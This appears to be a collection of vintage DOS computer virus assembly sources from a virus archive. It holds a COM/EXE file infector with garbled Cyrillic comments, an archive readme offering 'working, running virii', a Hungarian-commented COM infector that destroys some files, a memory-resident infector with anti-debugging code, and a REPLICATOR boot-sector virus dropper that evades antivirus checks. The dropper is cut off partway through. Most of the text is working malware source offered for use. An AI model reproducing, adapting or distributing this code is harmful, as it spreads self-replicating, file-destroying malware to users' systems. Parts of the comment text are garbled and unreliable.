cmp al,90h ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£® ­ 
; ¯®¢â®à­ãî § à ¦¥­­®áâì!(‘¬®âà¨â¥ ¢ ­ ç «®)
_1d:
jz exit_close
;-Infect .COM --------------------------------
; ’ ª § à ¦ îâ .COM ä ©«ë!
xchg ax,bp
cmp ax,65000
ja exit_close ;„«¨­  ¡®«ìè¥ ¤®¯ãá⨬®©.
mov es:[di+21],ax ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢
;ª®­¥æ ä ©« !
;-Make JMP------------------------------------
; .ª. ¯à¨ § à ¦¥­¨¨ ¬ë ¢¯¨á뢠¥¬ ¢ ­ ç «® .COM ä ©«  ¯¥à¥å®¤ ­  ⥫® ¢¨àãá  â®
;¬ë ¤®«¦­ë ¢ëç¨á«¨âì ᬥ饭¨¥ í⮣® ¯¥à¥å®¤ !
sub ax,04
mov ds:[offset jmp_n-offset virr],ax
call write_virus ; <20>¨è¥¬ ¢¨àãá ¢ ª®­¥æ ä ©« !
mov cx,04h ; € ⥯¥àì ¯¨è¥¬ ¢ ­ ç «® ä ©«  â®â á ¬ë©
mov dx,offset new_3_byte-offset virr ; ¯¥à¥å®¤!
exit_write:
mov ah,40h
int 21h
_1b: jmp exit_date
;-Sub. for write virus body (only) in file.----
write_virus proc
xor dx,dx
mov ah,40h
mov cx,offset ax_len-offset virr
int 21h
mov es:[di+21],dx ; F.P = start file!
mov es:[di+23],dx
cmp ax,cx
jnz _1c
ret
_1c:
pop ax
jmp _1b ; exit_date!
write_virus endp
;-Infect .EXE ---------------------------------
_EXE:
; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨­ã ä ©« , ¨áå®¤ï ¨§ ¤ ­­ëå § ¯¨á ­­ëå ¢ § £®«®¢ª¥
; .EXE ä ©« ! ˆ ¥á«¨ ®­  ­¥ ᮩ¤¥âáï á § ¯¨á ­®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ®
; íâ® ä ©«, ᮤ¥à¦ é¨© ­¥ï¢­ë© ®¢¥à«¥© ¨ ­¥ § à ¦ ¥¬ ¥£®!
mov ax,ds:[si+4] ; Pages (512b).
dec ax
mov cx,512
mul cx
add ax,[si+2] ; AX = File len from header.
cmp ax,bp ; Real file len = ax ?
jnz _1b ; No - this is overlay.
;-----
mov es:[di+21],ax ; “ª § â¥«ì ¢ ª®­¥æ ä ©« .
mov es:[di+23],dx
;-Get header.-----------------------------------
; ‡ ¯®¬¨­ ¥¬  ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã!
mov ax,[si+14h]
mov ds:[offset IP_file-offset virr],ax
mov ax,[si+16h]
mov ds:[offset CS_file-offset virr],ax
;-----------------------------------------------
; ‚ëç¨á«¨¬ ­®¢ë©  ¤à¥á (â.¥. ¤«ï § ¯ã᪠ ¢¨àãá  ¯à¨ áâ à⥠¯à®£à ¬¬ë)
xchg ax,bp
mov cx,10h
div cx
sub ax,[si+8]
sbb dx,0
mov [si+16h],ax ; ReloCS.
mov [si+14h],dx ; ExeIP.
;-Correcting file len in header.----------------
;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨­ã ¢ § £®«®¢ª¥ .EXE ä ©« !
;(<28><>…„“<E2809E><E2809C>…†„€ž!„«¨­  ¢¨àãá  = 385 ,  ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨­ã ä ©«  ¢ § £®«®¢ª¥
; ­¥ ­  385 ,  ­  512!!!.¥. ⥯¥àì ¤à㣨¥ "ã¬­ë¥ ¢¨àãáë" ­¥ ¡ã¤ãâ § à ¦ âì
; íâ®â ä ©«).‘®¡á⢥­­® £®¢®àï íâ  ®á®¡¥­­®áâì ï¥âáï ¯à¨§­ ª®¬ § à ¦¥­¨ï,-
; ¬ë ¢¥¤ì ­¥ § à ¦ ¥¬ ®¢¥à«¥¨!
inc word ptr ds:[si+4]
;-Write virus to file.--------------------------
call write_virus
;-Write new header.-----------------------------
mov cx,18h
mov dx,si ; DX = offset header.
jmp exit_write ; <20>®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥­­®£®
;§ £®«®¢ª  ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥­¨¥ ¯àאַ
;­  ª®¬ ­¤ã int 21h!
;----------------------------------------------
inst_int proc
mov ah,35h
int 21h
mov ds:[si],bx
mov ds:[si+2],es
mov ah,25h
int 21h
ret
inst_int endp
new_3_byte db 90h ; NOP
db 0e9h ; JMP nn
jmp_n dw 0000 ; nn
;-Header for EXE file & buffer for first 5 bytes COM's file.--
origin_2_byte:
header:
db 4 dup (90h) ; NOPs
ax_len db ?
db 20h dup (?) ; For EXE header.
ofs_24h dw ?
seg_24h dw ?
;********************************************************
cseg ends
end start
;-- Written by Light General.Kiev.1995.For free use! ----

@ -0,0 +1,19 @@
Rhys' Virii Archives:
~~~~~~~~~~~~~~~~~~~~~~~
This is one of many ZIP archive files that, all together, contain
literally thousands of working, running virii. Enjoy.
Please note that I have safely kept these on my hard drive as
uncompressed program files and have yet to be infected by one
of these.
All you must do to avoid infection is make sure that no idiot
runs these.
These virii are for educational uses only. I will not be
responsible for what you do with these.
Once again, Enjoy!
-Rhys

@ -0,0 +1,230 @@
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
HOSSZ EQU VEG-KEZDET
KEZDET EQU $
INDIT: PUSH CX
TBLC: MOV DX,OFFSET TABL
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
ADD SI,OFFSET FILKEZ-TABL
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
MOV CX,3
REPZ MOVSB
MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
INT 21H
CMP AL,0 ; MEG AZ 1.X VERZIO?
JNZ IND1 ; NEM
JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
IND1: PUSH ES ; ES ELMENTESE
MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
INT 21H ; ES ELTAROLASA A TABLAZATBAN
MOV WORD PTR [SI+DTACIM-TABL],BX
MOV WORD PTR [SI+DTACIM-TABL+2],ES
POP ES ; ES VISSZAOLVASASA
MOV DX,UJDTA-TABL
ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
MOV AH,1AH
INT 21H
PUSH ES ; REGISZTEREK ELMENTESE
PUSH SI
MOV ES,DS:2CH ; A DOS KORNYEZET CIME
MOV DI,0 ; ELEJETOL
IND3: POP SI ; SI VISSZAOLVASASA
PUSH SI ; ES VISSZAIRASA
ADD SI,OFFSET SZOVEG-TABL
LODSB ; EGY KARAKTER BETOLTESE
MOV CX,8000H ; A KORNYEZET MAX. 32K
REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
MOV CX,OFFSET FSPEC-SZOVEG-1
IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
SCASB ; ES ELLENORZESE
JNZ IND3 ; NEM EGYEZIK
LOOP IND4 ; FOLYTATNI
POP SI ; A REGISZTEREK VISSZAALLITASA
POP ES
MOV [SI+UTCIM-TABL],DI
MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
ADD DI,OFFSET FSPEC-TABL
MOV BX,SI ; SI ELMENTESE BX-BE
ADD SI,OFFSET FSPEC-TABL
MOV DI,SI
JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
INDE: CMP WORD PTR [SI+UTCIM-TABL],0
JNZ IND6 ; VAN MEG TOBB UT
JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
IND6: PUSH DS ; A REGISZTEREK ELMENTESE
PUSH SI
MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
MOV DI,SI ; DI A TABLAZATRA MUTAT
MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
ADD DI,OFFSET FSPEC-TABL
IND8: LODSB ; EGY KARAKTER BETOLTESE
CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
JZ IND9 ; ANNAK A KODJA
CMP AL,0 ; A LEZARO NULLA?
JZ INDA ; AZ A KOD
STOSB ; ELTAROLAS
JMP SHORT IND8 ; FOLYTATNI
INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
IND9: POP BX ; BX A TABLAZAT KEZDOCIME
POP DS ; DS VISSZAALLITASA
MOV [BX+UTCIM-TABL],SI
CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
JZ IND5 ; IGEN
MOV AL,5CH ; A '\' KODJA
STOSB ; ELTAROLASA
IND5: MOV [BX+FAKT-TABL],DI
MOV SI,BX ; A TABLAZAT KEZDOCIME BX
ADD SI,OFFSET FKER-TABL ; KERESO NEV
MOV CX,OFFSET UTCIM-FKER
REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
MOV SI,BX ; SI A TABLAZAT KEZDOCIME
MOV AH,4EH ; FILE KERESESE
MOV DX,FSPEC-TABL
ADD DX,SI ; A FILE SPECIFIKACIO CIME
MOV CX,11B ; A KERESETT ATTRIBUTUM
INT 21H
JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
INT 21H
INDC: JNC INDD ; MEGTALALTUK
JMP INDE ; NINCS ITT TOBB HASONLO
INDD: MOV AX,[SI+UJDTA-TABL+22]
AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
JZ INDF ; IGEN, TOVABB KELL KERESNI
CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
CMP WORD PTR [SI+UJDTA-TABL+26],0AH
JB INDF ; TUL KICSI FILE
MOV DI,[SI+FAKT-TABL]
PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
ADD SI,OFFSET UJDTA-TABL+30
INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
STOSB
CMP AL,0 ; A NEV ZARO NULLA?
JNZ INDG ; NEM, FOLYTATNI
POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
MOV DX,FSPEC-TABL
ADD DX,SI ; A FILE SPECIFIKACIO CIME
INT 21H
MOV [SI+FILATT-TABL],CX
MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
MOV DX,FSPEC-TABL
ADD DX,SI ; A FILE SPECIFIKACIO CIME
INT 21H
MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
MOV DX,FSPEC-TABL
ADD DX,SI ; A FILE SPECIFIKACIO CIME
INT 21H
JNC INDH ; NINCS HIBA
JMP INDK ; HIBA TORTENT
INDH: MOV BX,AX ; A FILESZAM ATVITELE
MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
INT 21H ; ES BEALLITASA
MOV [SI+FILIDO-TABL],CX
MOV [SI+FILDAT-TABL],DX
MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
INT 21H
AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
ADD DX,OFFSET RESET-TABL
INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
JMP INDJ ; ENNEK MAR BEVEGEZTETETT
INDI: MOV AH,3FH ; OLVASAS A FILEBOL
MOV CX,3 ; AZ ELSO HAROM BYTE
MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
ADD DX,SI
INT 21H ; BEOLVASNI
JC INDJ ; HIBA TORTENT
CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
JNZ INDJ ; NEM, HIBA VOLT
MOV AX,4202H ; MUTATO A FILE VEGERE
MOV CX,0
MOV DX,0
INT 21H
JC INDJ ; TORTENT HIBA?
MOV CX,AX ; A FILE HOSSZA
SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
MOV [SI+UJKEZ-TABL+1],AX
ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
MOV DI,SI ; A TABLAZAT KEZDETE
SUB DI,OFFSET TABL-TBLC-1
MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
MOV AH,40H ; KIIRAS A FILE-BA
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
MOV DX,SI ; A TABLAZAT KEZDOCIME
SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
INT 21H ; KIIRAS
JC INDJ ; HIBA TORTENT
CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
JNZ INDJ ; NEM
MOV AX,4200H ; MUTATO A FILE ELEJERE
MOV CX,0
MOV DX,0
INT 21H
JC INDJ ; HIBA TORTENT?
MOV AH,40H ; KIIRAS A FILE-BA
MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
MOV DX,SI
ADD DX,OFFSET UJKEZ-TABL
INT 21H ; KIIRAS
INDJ: MOV DX,[SI+FILDAT-TABL]
MOV CX,[SI+FILIDO-TABL]
DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
INT 21H ; ES A FERTOZES JELZESE
MOV AH,3EH ; FILE LEZARASA
INT 21H
INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
MOV CX,[SI+FILATT-TABL]
MOV DX,FSPEC-TABL
ADD DX,SI ; A FILE SPECIFIKACIO CIME
INT 21H
IND7: PUSH DS ; DS ELMENTESE
MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
MOV DX,WORD PTR [SI+DTACIM-TABL]
MOV DS,WORD PTR [SI+DTACIM-TABL+2]
INT 21H
POP DS ; DS VISSZAALLITASA
IND2: POP CX
XOR AX,AX ; AX=0
XOR BX,BX ; BX=0
XOR DX,DX ; DX=0
XOR SI,SI ; SI=0
MOV DI,100H ; 100H A VEREMBE
PUSH DI
XOR DI,DI ; DI=0
RET 0FFFFH
TABL EQU $
DTACIM DD 0
FILIDO DW 0
FILDAT DW 0
FILATT DW 0
FILKEZ DB 0,0,0
UJKEZ DB 0,0,0
FKER DB '*.COM',0
UTCIM DW 0
FAKT DW 0
SZOVEG DB 'PATH='
FSPEC DB 40H DUP(' ')
UJDTA DB 2BH DUP(0)
RESET DB 0EAH,0F0H,0FFH,0,0F0H
VEG EQU $
VIRUS ENDS
END

Binary file not shown.

@ -0,0 +1,147 @@
start:
and al,21h
;anti_disassembler & anti_debugger
mov cx,09ebh
mov ax,0fe05h
jmp $-2
add ah,03bh
jmp $-10
;anti_debugger
mov ax,3503h ;save int 3h in bx
int 21h ;do it
mov ah,25h ;set new int 3h...
mov dx,offset new_int_3 ;...to new_int_3
int 21h ;do it
xchg bx,dx ;exchange bx,dx (restore original int 3h)
int 21h ;do it
;anti_vsafe
mov ax,0f9f2h
add ax,10h
mov dx,5935h
add dx,10h
mov bl,10h
sub bl,10h
int 16h
mov ah,9h ;write string
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden.
int 21h ;do it
mov ax,9999h ;put 9999h in ax (for resident test)
int 21h ;do it
cmp bx,9999h ;compare bx,9999h
je already_there ;if bx=9999h, we are already resident and goto already_there
jmp makemegotsr ;else goto makemegotsr
already_there: ;already resident
int 20h ;exit
makemegotsr:
mov ax,3521h ; get int 21h
int 21h ;do it
mov word ptr cs:old21,bx ; save old int 21h
mov word ptr cs:old21+2,es ;... save
mov dx,offset new21 ; new int 21 comes to offset new21
mov ax,2521h ; set new int 21h
int 21h ; do it
push cs ; push it
pop ds ; pop it
mov dx,offset endvir ; put everything of us in memory
int 27h ; do it
new21: pushf ;new int 21
cmp ax,9999h ;resident test ???
jnz no_installation_check ;if no test goto no_install_check
xchg ax,bx ;if resident test, put 9999h in bx
no_installation_check: ;no_install_check
cmp ax,4b00h ;is there something executed?
jz infect ;yes, goto infect
jmp short end21 ;no, jmp to normal old int 21h
infect: ;infect the executed file
mov ax,4301h ;set attributes
xor cx,cx ;to 0
int 21h ;do it
mov ax,3d02h ;open file
int 21h ;do it
mov bx,ax ;put ax in bx, or.. xchg ax,bx.. but that doesn't work here
push ax ;push all
push bx
push cx
push dx
push ds
push cs
pop ds
mov ax,4200h ;seek
xor cx,cx ;at beginning of tha file
cwd
int 21h ;do it
mov cx,offset endvir-offset start ;how much bytes to write
mov ah,40h ;write
mov dx,offset start ;from offset start
int 21h ;do it
cwd ; set date/time
xor cx,cx ; to zero
mov ax,5701h ;function for date/time
int 21h ;do it
mov ah,3eh ; close file
int 21h ;do it
mov ah,2ah ;get date
int 21h ;do it
cmp dh,4 ;compare month(dh) with 4
jne not_my_birthday ;not the 4th month, goto not_my_birthday
monat_ok:cmp dl,21 ;else compare day(dl) with 21
jne not_my_birthday ;not the 21th, goto not_my_birthday
tag_ok:mov ah,9h ;if it is the 21.April write message
mov dx,offset text ;of offset text
int 21h ;do it
mov ah,00h ;wait until keypressed
int 16h ;do it
jmp restore ;goto restore (tha registers)
not_my_birthday: ;if it is not_my_birthday
mov ah,9h ;write message
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. (English: Bad command or filename.)
int 21h ;do it
restore:
pop ds ; pop all
pop dx
pop cx
pop bx
pop ax
end21: popf ; pop far
db 0eah ; jmp far (?)
old21 dw 0,0 ; where to store the old INT21
text: db'ReIncanation written by Spooky. Austria 1996',0dh,0ah,'$' ;message for debugger or date 21.April
file_not_found: db'Befehl oder Dateiname nicht gefunden.',0dh,0ah,'$' ;message file not found
new_int_3: ;new interrupt 3h for the debugger
mov ah,9h ;write string to standard output
mov dx,offset text ;text to write
int 21h ;do it
mov ah,00h ;wait until keypressed
int 16h ;do it
int 20h ;-> terminate debugging
endvir label byte ; End of file
end start

@ -0,0 +1,717 @@
;**********************************************************************************************
;* *
;* FILE: DROP_REP.ASM (c) 1993 *
;* PURPOSE: Dropper containing REPLICATOR boot sector virus *
;* AUTHOR: Willoughby DATE: 04/19/93 *
;* *
;**********************************************************************************************
;
;------------------------------------------ EQUATES -------------------------------------------
;
AT_TAG EQU 0FC
BAD_TAG EQU 0BAD
BIOS13_OFFSET EQU 004C
BIOS13_SEGMENT EQU 004E
BIOS40_SEGMENT EQU 0103
BPB_NUM_SECT EQU 013
CLEAR EQU 00
INF_TAG1 EQU 0ABCD
INF_TAG2 EQU 0CDEF
MEM_SIZE EQU 0413
MOTOR_ON EQU 043F
PARTITION_OFFSET EQU 01BE
ROM_SEGMENT EQU 0F0
SET EQU 0BB
SYS_ID_OFFSET EQU 0FFFE
SYS_ID_SEGMENT EQU 0F000
;
;---------------------------------------- MAIN PROGRAM ----------------------------------------
;
CODE SEGMENT
;
;----------------------------
;Dropper for REPLICATOR virus
;----------------------------
;
DROPPER:
;
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
;or better). If not, skip the trigger date check/storage process and store "BAD" tag for
;the benefit of the REPLICATOR infection analysis program (a future release).
;
MOV AX,SYS_ID_SEGMENT
MOV DS,AX ;Set DS to ROM segment.
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
PUSH CS
POP DS ;Set DS to dropper code segment.
JE >D1 ;If AT, check date and store before infection.
MOV DROP_MODAY,BAD_TAG ;If not, store hard drive drop date "BAD" tag
;in VIRUS_DIR.
JMP >D3 ;Then continue infection process.
;
;Determine if date is equal to or greater than preselected infection date. This allows the
;dropper program to pass initial anti-viral scanning/activity monitoring by remaining dormant
;until a later date. Also, store month, day and year of pending fixed disk infection in
;VIRUS_DIR.
;
D1:
MOV AH,04 ;Set read-date function.
INT 01A ;BIOS read-clock interrupt.
MOV DROP_YEAR,CX ;Store infection year in VIRUS_DIR.
MOV DROP_MODAY,DX ;Store month and day in VIRUS_DIR.
CMP CX,01993 ;Compare system year with 1993 trigger year
;(CH=century, CL=year, both in BCD).
JA >D2 ;If year>trigger year, proceed w/infection.
JB >D5 ;If year<trigger year, exit and do not infect.
CMP DX,0101 ;Compare system date w/Jan. 1st (DH=month,
;DL=day, both in BCD). The date Jan. 1
;effectively disables this function.
JB >D5 ;If the current date is not => the trigger
;date, don't infect.
;
;Store time of pending fixed disk infection in VIRUS_DIR.
;
D2:
MOV AH,02 ;Select read-time function.
INT 01A ;BIOS read-clock interrupt.
MOV DROP_TIME,CX ;Store infection hour and minute in VIRUS_DIR.
;
;Determine if an anti-viral program is monitoring viral activity via INT40h. If so, don't
;infect.
;
D3:
PUSH DS ;Preserve DS.
XOR AX,AX
MOV DS,AX ;Zero DS to point to BIOS data table.
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
;anti-virus program?
POP DS ;Restore DS.
JB >D5 ;If INT40h has been stolen, do not attempt
;infection.
;
;Load MBR.
;
PUSH CS
POP ES ;Set ES to dropper code segment.
MOV AX,0201 ;Select read-1-sector function.
MOV BX,MBR_BUFFER ;Set disk I/O buffer offset.
MOV CX,0001 ;Track 0, sector 1.
MOV DX,0080 ;Head 0, fixed disk 1.
INT 013 ;Read MBR.
JB >D5 ;Exit if flag=failure.
;
;Check MBR for infection.
;
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
JE >D5 ;If infected then exit.
;
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
;which might be present in that area. This is accomplished by checking the partition table
;value which holds the number of the starting head of the first partition. If this number is
;equal to or greater than 01, the first track is not in use.
;
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on fixed disk by
;checking partition table data.
JB >D5 ;If in use, exit to avoid damage to FAT.
;
;Increment hard disk infection counter for pending infection.
;
INC W[OFFSET HARD_COUNT]
;
;Write original MBR to its new location. Also, determine if VIRUS_DIR is present on the fixed
;disk. If so, don't write VIRUS_DIR to disk so that the previous infection counts and dates
;are retained.
;
MOV AX,0201 ;Select read-1-sector function.
MOV BX,MBR_BUFFER+0200 ;Set disk I/O buffer offset.
MOV CL,09 ;Track 0, sector 9.
INT 013 ;Read VIRUS_DIR sector.
JB >D5 ;Exit if flag=failure.
CMP W[BX+OFFSET INFECT_TAG2-0400],INF_TAG2 ;Check for VIRUS_DIR infection tag.
MOV AX,0302 ;Select write-2-sectors function.
MOV BX,VIRUS_DIR ;Specify VIRUS_DIR buffer offset.
JNE >D4 ;If VIRUS_DIR is not present, write
;both VIRUS_DIR and MBR.
MOV AX,0301 ;If present, select write-1-sector
;function.
MOV BX,MBR_BUFFER ;Specify MBR buffer address.
MOV CL,0A ;Specify relocation sector for MBR.
D4:
INT 013 ;Write to specified sector(s).
JB >D5 ;Exit if flag=failure.
;
;Copy partition table data to virus.
;
MOV SI,MBR_BUFFER+PARTITION_OFFSET ;Set source offset.
MOV DI,VIRUS_BOOT+PARTITION_OFFSET ;Set destination offset.
MOV CL,021 ;Set repetition count (number of words) for
;partition table move.
CLD ;Clear direction flag (fwd).
REP MOVSW ;Move partition table to virus.
;
;Write virus to MBR.
;
MOV AX,0301 ;Select write-1-sector function.
MOV BX,VIRUS_BOOT ;Set disk I/O buffer offset.
MOV CL,01 ;Track 0, sector 1.
INT 013 ;Write virus with attached partition table
;to MBR.
;
;Terminate dropper.
;
D5:
MOV AX,04C00 ;Select terminate w/return code function.
INT 021 ;Terminate dropper.
;
DB 86 DUP 00 ;Pad bytes to avoid possible DMA I/O errors.
;
;**********************************************************************************************
;* *
;* REPLICATOR boot sector virus *
;* *
;**********************************************************************************************
;
VIRUS_BOOT:
;
JMP >B1 ;Jump over BPB data to virus entry point.
;
BPB_START:
;
DB 60 DUP 00 ;Reserve space for diskette BPB data.
;
BPB_END:
;
;------------
;Boot routine
;------------
;
;Set location of stack.
;
B1:
XOR AX,AX ;Zero AX.
MOV DS,AX ;Zero DS.
CLI ;Disable interrupts.
MOV SS,AX ;Zero SS.
MOV AX,07C00 ;Load location of stack to AX.
MOV SP,AX ;Set SP=7C00h.
STI ;Enable interrupts.
PUSH DS ;Store return address of boot record to be
PUSH AX ;popped from the stack when VIRUS_BOOT
;returns to it (0000:7C00h).
;
;Read INT13h segment and offset from BIOS data table and store within VIRUS_BOOT.
;
MOV AX,W[BIOS13_OFFSET] ;Load BIOS INT13h vector offset stored at
;0000:004Ch.
MOV W[OFFSET BIOS_OFFSET+07A00],AX ;Store BIOS INT13h offset value in virus data
;area.
MOV CL,06 ;Set CL for virus segment shift. Location of
;this operation chosen to defeat anti-viral
;generic code-segment scans.
MOV AX,W[BIOS13_SEGMENT] ;Load BIOS INT13h vector segment stored at
;0000:004Eh.
MOV W[OFFSET BIOS_SEGMENT+07A00],AX ;Store BIOS INT13h segment value in virus data
;area.
;
;Calculate virus upper memory segment value and store within VIRUS_BOOT.
;
MOV BX,MEM_SIZE ;Load BX with address 0413h. This defeats
;anti-viral searches for 0413h MOV operations.
MOV AX,W[BX] ;Load memory size (in KB) stored at 0000:0413h.
DEC AX ;Calculate value for 2KB reduction of
DEC AX ;conventional memory.
SHL AX,CL ;Calculate virus segment.
MOV W[OFFSET REENTRY_SEGMENT+07A00],AX ;Store virus segment value in virus data area.
MOV ES,AX ;Store in ES to be used to move virus to top of
;conventional memory.
;
;Move VIRUS_BOOT from 0000:7C00h to top of memory - 2KB.
;
MOV SI,07C00 ;Set source offset address for virus move.
XOR DI,DI ;Set destination offset address to 0000h.
MOV CX,0100 ;Set repetition count (number of words) for
;move.
CLD ;Clear direction flag (fwd).
REP MOVSW ;Move virus from DS:7C00h to ES:0000h.
CS JMP D[OFFSET REENTRY_OFFSET+07A00] ;Jump to self in new location via stored
;address.
;
;Load VIRUS_DIR and original boot sector/MBR to top of memory - 1.5KB.
;
NEW_LOCATION:
;
PUSH CS
POP DS ;Set DS=CS.
MOV AX,0202 ;Select read-2-sectors function.
MOV BX,0200 ;Set disk I/O buffer offset.
MOV CL,B[OFFSET SECTOR-0200] ;VIRUS_DIR sector determined by value stored in
;VIRUS_BOOT.
CMP CL,09 ;Test for hard drive (HD) boot.
JE >B2 ;Yes, booted from HD.
INC DH ;Select head 1, floppy drive DL.
B2:
INT 013 ;Read VIRUS_DIR and original boot record.
JNB >B3 ;Continue if flag=success.
JMP B5 ;Exit if flag=failure.
;
;Copy original boot sector/MBR down to 0000:7C00h for later execution.
;
B3:
XOR AX,AX ;Zero AX.
MOV ES,AX ;Zero ES (destination segment value).
MOV SI,0400 ;Set source offset address for virus move.
MOV DI,07C00 ;Set destination offset address for move.
MOV CX,0100 ;Set repetition count (# of words) for move.
CLD ;Clear direction flag (fwd).
REP MOVSW ;Copy original boot record to 0000:7C00h.
;
;Determine if the virus is already installed on the system in the memory above. If it is, in
;order to prevent multiple installations of the virus in memory and the problems that this can
;cause, the virus will be removed from memory. This will be done by restoring the BIOS data
;table values that it has changed to their original, pre-infection values.
;
CMP W[OFFSET INFECT_TAG1+0600],INF_TAG1 ;Check for presence of virus above us.
JNE >B4 ;If it's not there, exit removal routine.
MOV AX,W[OFFSET BIOS_OFFSET+0600] ;Get the pre-infection INT13h offset value from
;the virus installed in memory.
PUSH AX ;Save that value on the stack.
MOV AX,W[OFFSET BIOS_SEGMENT+0600] ;Get the pre-infection INT13h segment value.
PUSH DS ;Preserve DS.
XOR BX,BX ;Zero BX.
MOV DS,BX ;Zero DS.
MOV W[BIOS13_SEGMENT],AX ;Restore BIOS data table to pre-infection
;segment value.
POP AX ;Pop pre-infection offset value from stack.
MOV W[BIOS13_OFFSET],AX ;Restore BIOS data table to pre-infection
;offset value.
MOV BX,MEM_SIZE ;Move data table address for conventional
;memory size into BX.
ADD W[BX],02 ;Increase memory size value by 2KB to restore
;it to pre-infection value.
POP DS ;Restore DS.
JMP >B5 ;Exit without installing virus in memory.
;
;Test for HD boot and, if true, install virus in memory.
;
B4:
CMP DL,080 ;Booted from HD?
JE >B6 ;If so, install virus and exit.
;
;Must be booting from floppy, so load MBR to top of memory - 1KB.
;
PUSH CS
POP ES ;Set ES=CS.
MOV AX,0201 ;Select read-1-sector function.
MOV BX,0400 ;Set disk I/O buffer offset.
MOV CL,01 ;Track 0, sector 1.
MOV DX,0080 ;Head 0, HD 1.
INT 013 ;Read MBR.
JB >B5 ;Exit if flag=failure and do not steal INT13h.
;
;Check MBR for infection.
;
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check MBR for infection tag.
JE >B5 ;If infected, exit and do not steal INT13h.
;
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
;which might be present in that area.
;
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on HD by checking
;partition table data (start head => 1).
JB >B5 ;If first track is in use, exit to avoid
;FAT damage and do not steal INT13h vector.
;
;Increment hard disk infection counter for pending infection.
;
INC W[OFFSET HARD_COUNT-0200]
;
;Write VIRUS_DIR and original MBR to fixed disk sectors 09h and 0Ah respectively.
;
MOV AX,0302 ;Select write-2-sectors function.
